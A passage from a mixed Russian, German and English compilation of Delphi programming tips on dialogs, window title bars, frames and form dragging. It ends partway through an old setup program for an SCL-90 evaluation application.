Parent := fExtendedPanel;
end;
end
end;
procedure TExtendedPrintDialog.DoShow;
var
PreviewRect, StaticRect: TRect;
begin
{ Set preview area to entire dialog }
GetClientRect(Handle, PreviewRect);
StaticRect := GetStaticRect;
{ Move extended area to right of static area }
PreviewRect.Left := StaticRect.Left;
PreviewRect.Top := StaticRect.Bottom;
Inc(PreviewRect.Top, 4);
fExtendedPanel.BoundsRect := PreviewRect;
fExtendedPanel.ParentWindow := Handle;
inherited DoShow;
end;
function TExtendedPrintDialog.Execute: Boolean;
begin
Template := 'DLGTEMPLATE';// this is in the extdlgs.rc
Result := inherited Execute;
end;
function TExtendedPrintDialog.GetStaticRect: TRect;
begin
if Handle <> 0 then
begin
GetWindowRect(GetDlgItem(Handle, grp1), Result); // print range group box
MapWindowPoints(0, Handle, Result, 2);
end
else
Result := Rect(0, 0, 0, 0)
end;
function TExtendedPrintDialog.TaskModalDialog(DialogFunc: Pointer;
var DialogData): Bool;
begin
TPrintDlg(DialogData).Flags := TPrintDlg(DialogData).Flags or
PD_ENABLESETUPTEMPLATE;
TPrintDlg(DialogData).lpSetupTemplateName := Template;
Result := inherited TaskModalDialog(DialogFunc, DialogData);
end;
end.
//Example, Beispiel:
uses
Unit2;
procedure TForm1.Button1Click(Sender: TObject);
var
PrintDialog: TExtendedPrintDialog;
begin
PrintDialog := TExtendedPrintDialog.Create(nil);
if PrintDialog.Execute then
{do soemthing}
end;
Как можно сменить текст на кнопках диалогового окна MessageDlg? Английский язык для текста кнопок пользователь
хочет заменить на родной.
Текст кнопок извлекается из списка строк, расположенных в файле ...\DELPHI\SOURCE\VCL\CONSTS.PAS. Отредактируйте
его, после чего пересоберите VCL.
VS дополняет:
Но можно ничего не менять. Вместо MessageDlg использовать MessageBox - функция WINDOWS. И, если ваш WINDOWS
русифицирован, то надписи на кнопках в диалоговых окнах будут на русском языке.
Frames' - на мой взгляд чрезвычайно полезная компонента. Если откинуть условности, то это форма в форме. Грубо
говоря, можно наделать таких форм и менять, например, функциональность и вид Вашей программы в зависимости от
определенных условий(Это не то-же, что менять кожу - не перепутайте.).
И раз уж я назвал его формой, то отсюда и начальный шаг по его созданию должен быть как у формы, а не как у
компоненты. Точнее даже два в одном.
Вообщем так. Через меню 'File/New/Frame' создаем фрейм - появляется до боли знакомое окно форы, с разве что
немного другими свойствами. Далее можно делать на нем все, что угодно. Однако, не забываем, что пока создан
всего сам фрейм и он у нас ни к чему не привязан. И тут нужен второй шаг - теперь берем компоненту и ложем
ее на форму Вашего основного проекта. Сразу появляется окно выбора фрейма- 'Select frame to insert'. Причем,
если Вы наделали, несколько фреймов, то, соответственно, Вам их все и предложат.
Итак, из всего вышесказанного можно подчеркнуть лишь одно - прежде чем пользоваться компонентой Frame нужно
создать сам фрейм.
Пошли дальше. Самый простой способ осуществить подмены фреймов(для изменения функций программы) это делать
Visible тому фрейму который сейчас нужен. Вообще, конечно спорный вопрос - стоит ли наращивать размер программы
для таких целей, но.... задачи бывают разные.
Еще одна полезность этой компонеты в том, что она позволяет организовать скролл(как вертикальный, так и
горизонтальный) для целого набора инструментов. Т.е. если Вам необходимо разместить на форме очень много
всего, а места не хватает, то фрейм - идеальное решение. Примером может служить настройка сортировщика писем
в известной почтовой программе 'TheBat'.
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Функция вызывает стандартный диалог "Свойства"
Зависимости: uses Activex;
Автор: Babay_S
Copyright: мои раскопки
Дата: 27 сентября 2002 г.
***************************************************** }
uses Activex;
function ObjectProperties(hOwner, uFlags: LongInt; sName, sParam: string):
LongInt;
{Функция вызывает диалог "Свойства"
Параметры
hOwner - хэндл родителя.
uFlags - может принимать два значения - 1 для свойств принтера, 2 - для файла
sName - имя принтера или файла. Если вместо имени файла указаны папка или диск,
вызывается соответствующее окно свойств. Если указано "" - появляются свойства Системы.
sParam - название вкладки на пропертях, которую надо показать. Если предать пустую
строку или несуществующую вкладку - будет показана первая вкладка.
}
implementation
function ObjectProperties(hOwner, uFlags: LongInt; sName, sParam: string):
LongInt;
var
sNameW, sParamW: PWideChar;
sNameL, sParamL: Integer;
begin
SNameL := Length(sName) + 1;
sNameW := CoTaskMemAlloc(SNameL * sizeof(WideChar));
StringToWideChar(SName, SNameW, sNameL);
SParamL := Length(sParam) + 1;
sParamW := CoTaskMemAlloc(SParamL * sizeof(WideChar));
StringToWideChar(SParam, SParamW, sParamL);
Result := SHObjectProperties(hOwner, uFlags, sNameW, sParamW);
CoTaskMemFree(sNameW);
CoTaskMemFree(sParamW);
end;
// I borrowed the code from InputQuery and
// added the stuff to center the InputQuery
// form on top of another form instead of
// positioning it in the middle of the screen.
// Dieser Code positioniert die Input Box in die
// Mitte der Form und nicht in die Mitte des
// Bildschirms.
function GetAveCharSize(Canvas: TCanvas): TPoint;
var
I: Integer;
Buffer: array[0..51] of Char;
begin
for I := 0 to 25 do Buffer[I] := Chr(I + Ord('A'));
for I := 0 to 25 do Buffer[I + 26] := Chr(I + Ord('a'));
GetTextExtentPoint(Canvas.Handle, Buffer, 52, TSize(Result));
Result.X := Result.X div 52;
end;
function MyInputQuery(const ACaption, APrompt: string;
var Value: string): Boolean; overload;
const
SMsgDlgOK = 'OK';
SMsgDlgCancel = 'Cancel';
var
x, y, w, h: Integer;
Form: TForm;
Prompt: TLabel;
Edit: TEdit;
DialogUnits: TPoint;
ButtonTop, ButtonWidth, ButtonHeight: Integer;
begin
Result := False;
Form := TForm.Create(Application);
with Form do
try
Canvas.Font := Font;
DialogUnits := GetAveCharSize(Canvas);
BorderStyle := bsDialog;
Caption := ACaption;
ClientWidth := MulDiv(180, DialogUnits.X, 4);
ClientHeight := MulDiv(63, DialogUnits.Y, 8);
// center Horzontally
w := (Form1.Width - Form.Width) div 2;
X := Form1.Left + W;
if x < 0 then
x := 0
else if x + w > Screen.Width then x := Screen.Width - Form.Width;
Form.Left := X;
// center vertically
h := (Form1.Height - Form.Height) div 2;
y := Form1.Top + h;
if y < 0 then
y := 0
else if y + h > Screen.Height then y := Screen.Height - Form.Height;
Form.Left := X;
Form.Top := Y;
Prompt := TLabel.Create(Form);
with Prompt do
begin
Parent := Form;
AutoSize := True;
Left := MulDiv(8, DialogUnits.X, 4);
Top := MulDiv(8, DialogUnits.Y, 8);
Caption := APrompt;
end;
Edit := TEdit.Create(Form);
with Edit do
begin
Parent := Form;
Left := Prompt.Left;
Top := MulDiv(19, DialogUnits.Y, 8);
Width := MulDiv(164, DialogUnits.X, 4);
MaxLength := 255;
Text := Value;
SelectAll;
end;
ButtonTop := MulDiv(41, DialogUnits.Y, 8);
ButtonWidth := MulDiv(50, DialogUnits.X, 4);
ButtonHeight := MulDiv(14, DialogUnits.Y, 8);
with TButton.Create(Form) do
begin
Parent := Form;
Caption := SMsgDlgOK;
ModalResult := mrOk;
default := True;
SetBounds(MulDiv(38, DialogUnits.X, 4), ButtonTop, ButtonWidth,
ButtonHeight);
end;
with TButton.Create(Form) do
begin
Parent := Form;
Caption := SMsgDlgCancel;
ModalResult := mrCancel;
Cancel := True;
SetBounds(MulDiv(92, DialogUnits.X, 4), ButtonTop, ButtonWidth,
ButtonHeight);
end;
if ShowModal = mrOk then
begin
Value := Edit.Text;
Result := True;
end;
finally
Form.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
str: string;
begin
if MyInputQuery('Question', 'Whats your name ?', str) then
label1.Caption := str;
end;
Заголовок диалогового окна
Окошко, окошко, повернись к ядру задом, а ко мне дружественным интерфейсом!
Заголовок диалогового окна устанавливается в момент вызова CreateMessageDialog, чей код расположен в Dialogs.pas.
При этом происходит вызов LoadStr, который получает Warningcaption, Cautioncaption и пр., так что у вас есть два
пути: Или вы изменяете Dialogs.pas, или вы редактируете строки в .res-файле.
В примере показывается, как изменять заголовок окна (видимый в списке задач при переключении между приложениями)
при минимизации окна в иконку.
Пример:
Сперва необходимо определить сообщение поумолчанию:
const
DefMsgNorm = 'MyApp version 1.0';
DefMsgIcon = 'MyApp. (Use F12 to turn of)';
И добавить две глобальных переменных:
var
ActMsgNorm : string;
ActMsgIcon : string;
Затем при открытии основной формы инициализируем переменные из констант:
procedure TFormMain.FormCreate(Sender: TObject);
begin
ActMsgNorm := DefMsgNorm;
ActMsgIcon := DefMsgIcon;
Application.Title := ActMsgNorm;
end;
Затем достаточно в обработчик OnResize добавить следующий код:
procedure TFormMain.FormResize(Sender: TObject);
begin
if FormMain.WindowState = wsMinimized then
Application.Title := ActMsgIcon
else
Application.Title := ActMsgNorm;
end;
procedure TForm1.HideTitlebar;
var
Save: Longint;
begin
if BorderStyle=bsNone then
Exit;
Save:=GetWindowLong(Handle, GWL_STYLE);
if (Save and WS_CAPTION)=WS_CAPTION then
begin
case BorderStyle of
bsSingle, bsSizeable:
SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or WS_BORDER);
bsDialog:
SetWindowLong(Handle, GWL_STYLE, Save and
(not WS_CAPTION) or DS_MODALFRAME or WS_DLGFRAME);
end;
Height:=Height-GetSystemMetrics(SM_CYCAPTION);
Refresh;
end;
end;
procedure TForm1.ShowTitlebar;
var
Save: Longint;
begin
if BorderStyle=bsNone then
Exit;
Save:=GetWindowLong(Handle, GWL_STYLE);
if (Save and WS_CAPTION)<>WS_CAPTION then
begin
case BorderStyle of
bsSingle, bsSizeable:
SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or WS_BORDER);
bsDialog:
SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or
DS_MODALFRAME or WS_DLGFRAME);
end;
Height:=Height+getSystemMetrics(SM_CYCAPTION);
Refresh;
end;
end;
Во-первых, перепишите у формы метод "CreateParams", объявив его в protected или public секции:
procedure CreateParams(var Params: TCreateParams); override;
Затем создайте сам код метода CreateParams(), выглядящий так:
procedure TForm1.Createparams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params do
Style := (Style or WS_POPUP) and (not WS_DLGFRAME);
end;
Надо надеяться, что вы обеспечите некоторый UI-механизм для перемещения и закрытия окна.
procedure TForm1.FormCreate(Sender: TObject);
var
Style: Longint;
begin
Style := GetWindowLong(Handle, GWL_STYLE);
SetWindowLong(Handle, GWL_STYLE, Style and not WS_SYSMENU);
end;
Вы должны сами рисовать кнопку и обрабатывать ее перерисовку для показа вдавленного состояния. Затем, для
активизации кнопки, вам необходимо реагировать на сообщение WM_NCHITTEST. Вот пример кода, рисующего безобразный
зеленый контур вокруг красного прямоугольника около системного меню:
procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
R: TRect;
begin
inherited;
Canvas.Handle := GetWindowDC(Handle);
R := Bounds(GetSystemMetrics(SM_CXFRAME) +
GetSystemMetrics(SM_CXSIZE) + 1,
GetSystemMetrics(SM_CYFRAME),
GetSystemMetrics(SM_CXSIZE),
GetSystemMetrics(SM_CYSIZE));
with Canvas do
begin
Brush.Color := clRed;
Pen.Color := clLime;
Rectangle(R.Left, R.Top, R.Right, R.Bottom);
end;
ReleaseDC(Handle, Canvas.Handle);
end;
Вам необходима небольшая область заголовка подобно той, которую использует Microsoft для управления палитры в VB,
правильно? Около 1/3 от высоты нормальной области заголовка, без текста и без блока системных кнопок? Хорошо, я
могу дать вам небольшой пример.
1. Создайте вторичную форму и установите BorderStyle в bsSingle
2. Разместите на форме компонент Label, удалите значение свойства Caption, установите Color в clBlue и Align в
alTop. Задайте высоту компонента такую, какую высоту заголовка вы хотите
3. Добавьте следующие два метода к вашей форме:
PROCEDURE TForm2.CreateParams(VAR Params: TCreateParams);
BEGIN
Inherited CreateParams(Params);
WITH Params DO
Style := (Style OR WS_POPUP) AND NOT WS_DLGFRAME;
END;
PROCEDURE TForm2.wmNCHitTest(VAR Msg: TWMNCHitTest);
BEGIN
Inherited;
WITH Msg DO
IF YPos-Top <= Label2.Height THEN
Result := HTCAPTION;
END;
4. Объявите эти функции в секции private вашего модуля:
PROCEDURE CreateParams(VAR Params: TCreateParams); override;
PROCEDURE wmNCHitTest(VAR Msg: TWMNCHitTest);
message WM_NCHITTEST;
Установите свойство вторичной формы Visible в True. Теперь у вас есть плавающее окно с мальнокой областью
заголовка. Для создания также "небольшого" системного меню, НАРИСУЙТЕ его на форме и в ответ на событие WM_NCHITTEST
установите Result в HTSYSMENU, если мышь в пределах области заголовка.
Для создания окна без заголовка с любым стилем контура сделайте следующее:
Добавьте объявление процедуры
procedure CreateParams(var Params: TCreateParams); override;
и ее реализацию:
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params do
Style := (Style OR WS_POPUP) AND NOT WS_DLGFRAME;
end;
Установите BorderStyle в bsSizeable.
Нужно объявить три глобальные переменные в публичных объявлениям (после ключевого слова Public):
public
{ Public declarations }
Draging: Boolean;
X0, Y0: integer;
* Draging - для обозначение того периода времени когда пользователь перемещает мышь с зажатой кнопкой мыши,
* X0 и Y0 - координаты точки, над которой была зажата кнопка мыши
Далее описываем события формы OnMouseDown, OnMouseMove и OnMouseUp:
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Draging := true;
x0 := x;
y0 := y;
end;
procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Draging := false;
end;
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if Draging = true then
begin
Form1.Left := Form1.Left + X - X0;
Form1.top := Form1.top + Y - Y0;
end;
end;
------------------------------
Нужно объявить процедуру в частных объявлениям (после ключевого слова Private):
private
{ Private declarations }
procedure WMNCHitTest (var M: TWMNCHitTest); message wm_NCHitTest;
В области implementation описываем процедуру так:
implementation
{$R *.DFM}
procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
inherited;
if M.Result = htClient then
M.Result := htCaption;
end;
Мы выдаём клиентскую область окна за заголовочную область.
------------------------------
Хочу показать еще один способ перемещения окна за его тело Обрабатываем OnMouseDown:
ReleaseCapture;
Perform(WM_SYSCOMMAND, $F012, 0);
Сообщение WM_SYSCOMMAND приходит перед выполнением соответствующей команды, что дает возможность переопределить код.
WM_SYSCOMMAND
uCmdType = wParam; // type of system command requested
xPos = LOWORD(lParam); // horizontal postion, in screen coordinates
yPos = HIWORD(lParam); // vertical postion, in screen coordinates
Например, перехват события минимизации окна приложения:
type
TMain = class(TForm)
protected
procedure WMGetSysCommand(var message : TMessage);
message WM_SYSCOMMAND;
end;
...
// Обработка сообщения WM_SYSCOMMAND
procedure TMain.WMGetSysCommand(var message : TMessage) ;
begin
if (message.wParam = SC_MINIMIZE) then
Main.Visible := False
else
inherited;
end;
Получение второго цвета заголовков форм
Автор: Dimka Maslov
WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение «второго» цвета заголовков форм
Данная фунция возвращает значение цвета, использующегося для
отображения плавного перехода цветов в заголоках форм Windows 98, ME и 2000
Зависимости: Windows
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 21 мая 2002 г.
***************************************************** }
function clGradientActiveCaption: Integer;
var
B: BOOL;
begin
SystemParametersInfo(SPI_GETGRADIENTCAPTIONS, 0, @B, 0);
if B then
Result := GetSysColor(COLOR_GRADIENTACTIVECAPTION)
else
Result := GetSysColor(COLOR_ACTIVECAPTION);
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
self.Color := clGradientActiveCaption;
end;
// This example will show you a faster method how you can obtain
// the text of the specified window's title bar under Windows NT/2000 systems.
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com
// The function copies the text of the specified window's title bar
// (if it has one) into a buffer. The InternalGetWindowText function is
// much faster than the documented GetWindowText because it uses INT 2E interrupt
// NT-Specific!
// Here is the prototype for InternalGetWindowText:
(*
InternalGetWindowText(
hWnd: HWND; {a handle to a window or control with text}
lpString: PChar; {a pointer to a buffer to receive the string (UNICODE!!!)}
nMaxCount: Integer {the maximum number of characters to copy}
): Integer; {returns the length of the copied string}
*)
function NT_InternalGetWindowText(Wnd: HWND): string;
type
TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;
nMaxCount: Integer): Integer;
stdcall;
var
hUserDll: THandle;
InternalGetWindowText: TInternalGetWindowText;
lpString: array[0..MAX_PATH] of WideChar; //Buffer for window caption
oemStr: PChar;
begin
Result := '';
hUserDll := GetModuleHandle('user32.dll');
if (hUserDll > 0) then
begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
if Assigned(InternalGetWindowText) then
begin
InternalGetWindowText(Wnd, lpString, SizeOf(lpString));
Result := string(lpString);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(NT_InternalGetWindowText(Form1.Handle));
end;
Здесь есть хитрость:
Нужно разместить все необходимые элементы управления в отдельной форме, которая должна отслеживать перемещение
и изменение размеров основной формы. Данная форма будет всегда находится над областью заголовка основной формы.
Нижеприведенный проект включает в себя 2 формы и выпадающий список (combobox). После запуска программы список
появляется в области заголовка главной формы. Два ключевых вопроса: 1) организация перехвата сообщения WM_MOVE
главной формы; и 2) возвращение фокуса в главную форму после того, как пользователь нажмет на каком-либо элементе
управления, способным иметь фокус (например, TComboBox, TButton и др.)
Я использую 32-битную Delphi 2.0 под Win95, тем не менее данный код должен работать с любой версией Delphi.
Вот исходный код главной формы:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
procedure FormResize(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormHide(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure WMMove(var Msg: TWMMove); message WM_MOVE;
end;
var
Form1: TForm1;
implementation
uses Unit2;
{$R *.DFM}
procedure TForm1.FormResize(Sender: TObject);
begin
with Form2 do
begin
{Заменим мои магические числа реальной информацией SystemMetrics}
Width := Form1.Width - 120;
Top := Form1.Top + GetSystemMetrics(SM_CYFRAME);
Left := ((Form1.Left + Form1.Width) - Width) - 60;
end;
end;
procedure TForm1.FormShow(Sender: TObject);
begin
Form2.Show;
end;
procedure TForm1.FormHide(Sender: TObject);
begin
Form2.Hide;
end;
procedure TForm1.WMMove(var Msg: TWMMove);
begin
inherited;
if (Visible) then
FormResize(Self);
end;
end.
Вот исходный код для псевдо-заголовка. Данная форма может содержать любые элементы управления VCL, которые вы
хотите установить в области заголовка главной формы. По существу, это - независимый диалог со следующими свойствами:
Caption='' {NULL строка}
Height={высота области заголовка}
Width={высота всех компонентов на форме}
BorderIcons=[] {пусто}
BorderStyle=bsNone
FormStyle=fsStayOnTop
И, наконец, исходный код для Form2:
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm2 = class(TForm)
ComboBox1: TComboBox;
procedure FormCreate(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
procedure FormResize(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
uses Unit1;
{$R *.DFM}
procedure TForm2.FormCreate(Sender: TObject);
begin
Height := ComboBox1.Height - 1;
Width := ComboBox1.Width - 1;
end;
procedure TForm2.ComboBox1Change(Sender: TObject);
begin
Form1.SetFocus;
end;
procedure TForm2.FormResize(Sender: TObject);
begin
ComboBox1.Width := Width;
end;
end.
Файл проекта (.DPR) довольно простой:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);
Application.Run;
end.
Это все!
Хотя некоторые авторы книг утверждают:
"Вы не можете установить компоненты Delphi в заголовок окна, точнее, не существует никакого способа установить их там."
Зато существует иллюзия...
var
a: string;
procedure TForm1.FormCreate(Sender: TObject);
begin
a := 'Look at here !...';
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
i: Integer;
begin
Application.Title := a;
Form1.Caption := a;
for i := 1 to (Length(a) - 1) do
a[i] := Application.Title[i + 1];
a[Length(a)] := Application.Title[1];
end;
{
You have to handle the WM_NCPAINT message.
Something like this (for custom text) Should be similar for bitmaps.
}
type
TForm1 = class(TForm)
private
procedure WMNCPaint(var Msg: TWMNCPaint); message WM_NCPAINT;
public
end;
var
Form1: TForm1;
implementation
{$r *.dfm}
procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
ACanvas: TCanvas;
begin
inherited;
ACanvas := TCanvas.Create;
try
ACanvas.Handle := GetWindowDC(Form1.Handle);
with ACanvas do
begin
Brush.Color := clActiveCaption;
Font.Name := 'Tahoma';
Font.Size := 8;
Font.Color := clred;
Font.Style := [fsItalic, fsBold];
TextOut(GetSystemMetrics(SM_CYMENU) + GetSystemMetrics(SM_CXBORDER),
Round((GetSystemMetrics(SM_CYCAPTION) - Abs(Font.Height)) / 2) + 1, ' Some Text');
end;
finally
ReleaseDC(Form1.Handle, ACanvas.Handle);
ACanvas.Free;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
l: DWORD;
begin
l := GetWindowLong(Self.Handle, GWL_STYLE);
l := l and not (WS_MINIMIZEBOX);
l := l and not (WS_MAXIMIZEBOX);
l := SetWindowLong(Self.Handle, GWL_STYLE, l);
end;
procedure TForm1.HideTitlebar;
var
Style: Longint;
begin
if BorderStyle = bsNone then Exit;
Style := GetWindowLong(Handle, GWL_STYLE);
if (Style and WS_CAPTION) = WS_CAPTION then
begin
case BorderStyle of
bsSingle,
bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style and
(not (WS_CAPTION)) or WS_BORDER);
bsDialog: SetWindowLong(Handle, GWL_STYLE, Style and
(not (WS_CAPTION)) or DS_MODALFRAME or WS_DLGFRAME);
end;
Height := Height - GetSystemMetrics(SM_CYCAPTION);
Refresh;
end;
end;
procedure TForm1.ShowTitlebar;
var
Style: Longint;
begin
if BorderStyle = bsNone then Exit;
Style := GetWindowLong(Handle, GWL_STYLE);
if (Style and WS_CAPTION) <> WS_CAPTION then
begin
case BorderStyle of
bsSingle,
bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style or WS_CAPTION or
WS_BORDER);
bsDialog: SetWindowLong(Handle, GWL_STYLE,
Style or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME);
end;
Height := Height + GetSystemMetrics(SM_CYCAPTION);
Refresh;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
HideTitlebar;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowTitlebar;
end;
type
TForm1 = class(TForm)
private
{ Private-Deklarationen }
FOldHeight: Integer;
procedure WMNCRButtonDown(var Msg: TWMNCRButtonDown); message WM_NCRBUTTONDOWN;
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WMNCRButtonDown(var Msg: TWMNCRButtonDown);
begin
if (Msg.HitTest = HTCAPTION) then
if (ClientHeight = 0) then
begin
ClientHeight := FOldHeight;
Application.ProcessMessages;
end
else
begin
FOldHeight := ClientHeight;
ClientHeight := 0;
Application.ProcessMessages;
end
end;
{ this is a setup program for an application I wrote.
Maybe it's useful to others who are about to write their
own Setup-programs.
Dr. Norbert Hartkamp
hartkamp@uni-duesseldorf.de
n-hartkamp@nadeshda.gun.de
}
{file setupscl.pas}
program Setupscl;
uses
Forms,
Setupsc1 in 'SETUPSC1.PAS' {Form1};
{$R *.RES}
begin
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
{file setupsc1.pas}
unit Setupsc1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, Buttons, ExtCtrls, LZExpand, DdeMan;
const ProgName = 'SCL90.EXE';
LZProgName = 'SCL90.EX_';
type
TForm1 = class(TForm)
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
Panel1: TPanel;
Label1: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label2: TLabel;
Label6: TLabel;
Label7: TLabel;
Panel2: TPanel;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
ProgrammpfadEdit: TEdit;
DatenpfadEdit: TEdit;
Label11: TLabel;
Label12: TLabel;
Panel3: TPanel;
Label14: TLabel;
AuswerterEdit: TEdit;
Label15: TLabel;
Inst1Edit: TEdit;
Inst2Edit: TEdit;
Inst3Edit: TEdit;
CheckBox1: TCheckBox;
Panel4: TPanel;
Image1: TImage;
Label13: TLabel;
Label16: TLabel;
Label17: TLabel;
DdeClientConv1: TDdeClientConv;
Image2: TImage;
Label19: TLabel;
Label20: TLabel;
Label18: TLabel;
Panel5: TPanel;
Label21: TLabel;
Label22: TLabel;
Label23: TLabel;
Label24: TLabel;
Label25: TLabel;
Label26: TLabel;
procedure FormPaint(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
DialogNo : byte;
WinDir : array [0..144] of char;
Programmverzeichnis : string[127];
Datenverzeichnis : string[127];
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormPaint(Sender: TObject);
var Rows, Height:Integer;
begin
Height:=(ClientHeight + 255) div 256;
for Rows := 0 to 255 do
begin
Canvas.Brush.Color := RGB(0,0,Rows);
Canvas.FillRect(Rect(0,(255-Rows)*Height,ClientWidth,((255-Rows)+1)*Height));
end;
Canvas.Font.Size := 32;
Canvas.Font.Color:= clBlack;
Canvas.Brush.Style := bsClear;
Canvas.TextOut(13, 13, 'Setup SCL-90-Auswertung');
Canvas.Font.Color:= clYellow;
Canvas.TextOut(10, 10, 'Setup SCL-90-Auswertung');
Canvas.Font.Size := 11;
Canvas.Font.Style:= [fsBold];
Canvas.Font.Color:= clWhite;
Canvas.TextOut(10, ClientHeight-(ClientHeight div 20), '=AE N.Hartkamp, 1996');
end;
procedure TForm1.FormCreate(Sender: TObject);
var fileHandle: THandle;
fileBuffer: Array [0..40] of Char;
begin
BorderStyle := bsNone;
WindowState := wsMaximized;
BitBtn1.Top := trunc(ClientHeight * 0.90);
BitBtn2.Top := trunc(ClientHeight * 0.90);
BitBtn1.Left:= trunc(ClientWidth * 0.80);
BitBtn2.Left:= trunc(ClientWidth * 0.60);
DialogNo := 0;
FillChar(WinDir, SizeOf(WinDir), #0);
GetWindowsDirectory(WinDir, 144);
ProgrammpfadEdit.Text := StrPas(WinDir);
ProgrammpfadEdit.Text := ProgrammpfadEdit.Text[1] + ':\\SCL90R';
DatenpfadEdit.Text := ProgrammpfadEdit.Text;
AuswerterEdit.Text := 'Anwendername';
{ Get user name and company name }
fileHandle := LoadLibrary('USER');
if fileHandle >= HINSTANCE_ERROR then begin
If LoadString(fileHandle, 514, @fileBuffer, 40) <> 0 Then
AuswerterEdit.Text :=3D StrPas(fileBuffer);
FreeLibrary(fileHandle);
end;
Inst1Edit.Text := 'Bezeichnung der Institution';
Inst2Edit.Text := 'Bezeichnung der Institution (Fortsetzung)';
Inst3Edit.Text := '- z.B.: Angabe der Abteilung -';
CheckBox1.Checked := true;
Panel1.Left := (ClientWidth div 2) - (Panel1.Width div 2);
Panel1.Top := (ClientHeight div 2) - (Panel1.Height div 2);
Panel2.Left := (ClientWidth div 2) - (Panel2.Width div 2);
Panel2.Top := (ClientHeight div 2) - (Panel2.Height div 2);
Panel3.Left := (ClientWidth div 2) - (Panel3.Width div 2);
Panel3.Top := (ClientHeight div 2) - (Panel3.Height div 2);
Panel4.Left := (ClientWidth div 2) - (Panel4.Width div 2);
Panel4.Top := (ClientHeight div 2) - (Panel4.Height div 2);
Panel5.Left := (ClientWidth div 2) - (Panel5.Width div 2);
Panel5.Top := (ClientHeight div 2) - (Panel5.Height div 2);
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin
Close;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
var aResultStr : array[0..144] of char;
strIniPath : array[0..144] of char;
ResultStr : string[144];
fromStruct : TOFStruct;
toStruct : TOFStruct;
ret : word;
fromHandle : integer;
toHandle : integer;
BDEOk : boolean;
CurPath : string[144];
Ok : Longint;
i : word;
DDE_Link : Boolean;
Macro : string;
function iif(cond : boolean; exp1, exp2 : string) : string;
begin
if cond then result := exp1 else result := exp2;
end;
begin
if DialogNo = 0 then begin
ret := GetProfileString('IDAPI', 'CONFIGFILE01', 'NIX', aResultStr,
80);
ResultStr := StrPas(aResultStr);
BDEOk := (ResultStr <> 'NIX') and FileExists(ResultStr);
if not BDEOk then begin
Panel1.Hide;
MessageDlg('Installationsfehler:'+#13#13+
'Bevor Sie das SCL-90 Auswertungsprogramm installieren'+
#13+
'k=F7nnen, m=B3ssen Sie die Database-Engine installieren
.'+#13#13+
'F=B3hren Sie dazu das Program SETUP.EXE von'+#13+
'der BDE-Diskette 1 aus.', mtError, [mbOk], 0);
Close;
end;
end;
Inc(DialogNo);
case DialogNo of
1: begin
Panel1.Hide;
Panel2.Show;
ProgrammpfadEdit.SetFocus;
end;
2: begin
GetDir(0, CurPath);
Ok := 0;
ret := IOResult;
{$I-}
ChDir(ProgrammpfadEdit.Text);
if IOResult <> 0 then ok := 1;
ChDir(DatenpfadEdit.Text);
if IOResult <> 0 then if ok = 0 then ok := 2 else ok := 3;
if ok <> 0 then begin
case ok of
1 : CurPath := 'Das Programmverzeichnis ist ';
2 : CurPath := 'Das Datenverzeichnis ist ';
3 : CurPath := 'Programm- und Datenverzeichnis sind ';
end;
Panel2.Hide;
